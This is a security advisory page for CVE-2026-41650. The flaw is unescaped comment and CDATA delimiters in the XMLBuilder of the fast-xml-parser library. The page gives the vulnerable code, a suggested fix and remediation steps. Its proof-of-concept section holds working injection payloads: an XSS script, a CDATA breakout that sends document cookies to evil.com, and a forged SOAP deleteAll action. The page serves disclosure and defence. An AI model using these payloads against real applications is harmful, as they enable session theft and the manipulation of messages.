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fast-xml-parser CVE-2026-41650

MEDIUM
XML Injection (aka Blind XPath Injection) (CWE-91)
2026-04-22 https://github.com/NaturalIntelligence/fast-xml-parser GHSA-gh4j-gqv2-49f6
6.1
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
SUSE
MEDIUM
qualitative
Red Hat
5.4 MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
Analysis Generated
Apr 23, 2026 - 07:06 vuln.today
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
Analysis Generated
Apr 22, 2026 - 20:31 vuln.today
CVE Published
Apr 22, 2026 - 20:04 nvd
MEDIUM 6.1

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 22 npm packages depend on fast-xml-parser (16 direct, 7 indirect)

Ecosystem-wide dependent count for version 5.7.0.

DescriptionGitHub Advisory

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:

  • CVE-2023-26920: Prototype pollution (parser)
  • CVE-2023-34104: ReDoS (parser)
  • CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
  • CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

javascript
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

javascript
import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

Output:

xml
<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>

Test 2: CDATA Injection (RSS feed)

javascript
const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

Output:

xml
<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>

Test 3: SOAP Message Injection

javascript
const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

Output:

xml
<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

  1. XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers
  2. SOAP injection: Modify SOAP message structure by injecting XML elements
  3. RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
  4. XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

javascript
// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '&#45;&#45;');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}

AnalysisAI

fast-xml-parser XMLBuilder fails to escape comment and CDATA delimiters when building XML from JavaScript objects, allowing XML injection via unescaped --> and ]]> sequences in user-controlled content. Attackers can inject malicious XML elements into comments or CDATA sections, enabling XSS attacks in browser contexts, SOAP message manipulation, RSS feed poisoning, or XML structure breakage. The vulnerability requires user interaction (UI:R) and affects only XMLBuilder output that includes user-controlled comments or CDATA; no public exploit code identified at time of analysis.

Technical ContextAI

fast-xml-parser is a Node.js XML parser and builder library. The XMLBuilder component constructs XML documents from JavaScript objects without proper escaping of XML special sequences in comments and CDATA sections. The buildTextValNode() function in src/fxb.js (lines 442+) concatenates user input directly into comment (<!--${val}-->) and CDATA (<![CDATA[${val}]]>) delimiters without applying the replaceEntitiesValue() escaping function that correctly handles text and attribute content. Comments are terminated by the sequence -->, and CDATA sections by ]]>; injecting these unescaped strings breaks the intended XML structure. This is classified as CWE-91 (XML Injection) and affects the npm package fast-xml-parser across versions that do not implement delimiter escaping in XMLBuilder output generation.

RemediationAI

Update fast-xml-parser to the patched version released by the vendor via GitHub security advisory GHSA-gh4j-gqv2-49f6 (https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6). The fix implements proper escaping of delimiter sequences: replace -- with &#45;&#45; in comments and replace ]]> with ]]]]><![CDATA[> to split CDATA across section boundaries. Until patching is possible, implement compensating controls: disable XMLBuilder's commentPropName and cdataPropName options if comment and CDATA generation from user input is not required (trade-off: loss of dynamic comment/CDATA support); sanitize user input before passing to XMLBuilder by explicitly removing or escaping -- and ]]> sequences (trade-off: potential data loss or modification of legitimate content); restrict XMLBuilder usage to non-user-controlled data only, using a separate sanitization layer for any user input destined for comments or CDATA; or isolate generated XML delivery to non-browser contexts if feasible (e.g., backend-to-backend SOAP, not HTML-embedded SVG).

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Vendor StatusVendor

SUSE

Severity: Medium
Product Status
SUSE Linux Enterprise Server 16.0 Fixed
SUSE Linux Enterprise Server 16.1 Fixed
SUSE Linux Enterprise Server for SAP applications 16.0 Fixed
SUSE Linux Enterprise Server for SAP applications 16.1 Fixed

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CVE-2026-41650 vulnerability details – vuln.today

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